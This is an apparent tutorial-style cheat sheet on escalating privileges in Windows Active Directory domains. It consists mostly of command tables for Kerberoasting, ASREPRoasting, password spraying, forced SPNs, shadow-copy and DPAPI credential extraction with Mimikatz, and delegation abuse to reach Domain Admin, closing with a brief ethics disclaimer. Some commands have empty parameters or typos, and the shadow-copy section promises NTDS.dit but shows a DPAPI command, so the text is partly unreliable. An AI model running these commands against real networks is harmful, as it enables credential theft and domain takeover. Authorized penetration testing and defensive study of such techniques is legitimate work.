

DOMAIN PRIVILEGE ESCALATION

Table of Contents

• Kerberoast: What's the Deal?	3
• ASREPROast: Exploiting Preauth Disabled Accounts	4
• Password Spray Attack: Reusing Passwords Across Accounts	4
• ⚙ Force Set SPN: Manipulating Service Principal Names	4
• Abusing Shadow Copies: Shadow Copy, Not Just for Backups!	5
• ♂ Unconstrained Delegation: Wait, Steal, and Impersonate	5
• Constrained Delegation: Impersonate with Restrictions	6
• Conclusion: The Road to DA	6
•	
•	

WELCOME TO HACK ACADEMY'S GUIDE ON DOMAIN PRIVILEGE ESCALATION!

Today, we're diving into a treasure chest of tools and techniques that can help us escalate privileges in a Windows domain environment. From Kerberoasting to abusing Exchange, this guide will be a blast — filled with actionable steps for making your way up the domain hierarchy. Grab your tools, make yourself comfortable, and let's break down the steps to get that sweet Domain Admin access!

Kerberoast: What's the Deal?

Kerberoasting is a fun game where we trick the domain controller into giving us service account credentials that we can crack offline. All you need is a standard user account.

STEP	COMMAND	DESCRIPTION
Get Service Accounts	<code>Get-NetUser -SPN</code>	Fetches user accounts that are used as service accounts.
Dump SPNs	<code>Invoke-Kerberoast</code>	Requests tickets for service accounts, then cracks them offline.
Single Account Request	<code>Request-SPNTicket</code>	Retrieves a ticket for a single account.
Export Tickets	<code>Invoke-Mimikatz -Command '"kerberos::list / export"'</code>	Dumps all Kerberos tickets using Mimikatz.
AD Module - Find Service Accounts	<code>Get-ADUser -Filter {ServicePrincipalName -ne "\$null"} -Properties ServicePrincipalName</code>	Finds service accounts with SPNs in Active Directory.

Tools:

- **PowerView:** For querying domain data.
- **Impacket:** Use `GetUserSPNs.py` to fetch SPNs.
- **Rubeus:** The swiss army knife for Kerberoasting!

ASREPRoast: Exploiting Preauth Disabled Accounts

ASREPRoasting works if a domain account doesn't require Kerberos pre-authentication. This lets us request a TGT without a password and crack it offline.

STEP	COMMAND	DESCRIPTION
Find Pre-auth Disabled Accounts	<code>Get-DomainUser -PreauthNotRequired -Verbose</code>	Searches for accounts with pre-auth disabled.
Disable Pre-auth (if possible)	<code>Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose</code>	Disables pre-authentication on an account.
ASREPRoast Attack	<code>Invoke-ASREPRoast -Verbose</code>	Attempts to grab the hash for roasting.
Use Rubeus for ASREPRoast	<code>Rubeus.exe asreproast /outfile: /domain:</code>	Rubeus in action!

Tools:

- **PowerView:** To scan for accounts needing no pre-auth.
- **Rubeus:** For executing the ASREPRoast attack efficiently.

Password Spray Attack: Reusing Passwords Across Accounts

If we've harvested a few passwords, we can attempt a password spray to exploit password reuse across other domain accounts.

TOOLS	DESCRIPTION
DomainPasswordSpray	A tool to spray passwords across multiple accounts.
CrackMapExec	Another tool to carry out the spray attack.
Invoke-CleverSpray	Uses PowerShell to spray passwords across accounts.

⚙ Force Set SPN: Manipulating Service Principal Names

If we have permissions like **GenericWrite** or **GenericAll**, we can force a SPN on a target account, then roast the TGS ticket.

STEP	COMMAND	DESCRIPTION
Check Permissions	Invoke-ACLScanner -ResolveGUIDs ? {\$_ .IdentityReferenceName -match "RDPUUsers"}	Look for accounts where you can set an SPN.
Set SPN	Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}	Force set a custom SPN on a user account.

Abusing Shadow Copies: Shadow Copy, Not Just for Backups!

When you have local admin access on a machine, you can list shadow copies and dump sensitive files like the **NTDS.dit** file for domain escalation.

STEP	COMMAND	DESCRIPTION
List Shadow Copies	vssadmin list shadows	Lists shadow copies on a system.
Symlink Shadow Copy	mklink /d c:\shadowcopy \\? \GLOBALROOT\Device\HarddiskVolumeShadowCopy1\	Creates a symlink to a shadow copy for easier access.
Extract Creds from DPAPI	dpapi::cred /in:"%appdata%\Microsoft\Credentials\"	Use Mimikatz to extract credentials.

♂ Unconstrained Delegation: Wait, Steal, and Impersonate

With **Unconstrained Delegation** enabled, an attacker can wait for a high-privilege user to connect, steal their TGT, and impersonate them.

STEP	COMMAND	DESCRIPTION
Find Unconstrained Delegation	Get-NetComputer -UnConstrained	Search for machines with unconstrained delegation.
Dump TGT	Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'	Dumps Kerberos tickets for impersonation.

Constrained Delegation: Impersonate with Restrictions

With **Constrained Delegation**, you can impersonate users for certain services based on trusted delegation.

STEP	COMMAND	DESCRIPTION
Find Constrained Delegation	<code>Get-DomainUser -TrustedToAuth</code>	Find users with delegation rights.
Use TGT for Impersonation	<code>tgs::s4u /tgt: /user:</code>	Impersonate a user using a TGT.

Conclusion: The Road to DA

Congratulations, you're now equipped with a full arsenal of privilege escalation techniques to conquer the domain! Whether it's abusing SPNs, hunting down shadow copies, or exploiting delegation misconfigurations, you have the tools to make your way to Domain Admin. Always remember to follow the **ethical hacking** rules and never use this knowledge for malicious purposes outside of authorized testing.

Stay curious, stay ethical, and most importantly—keep hacking the domain!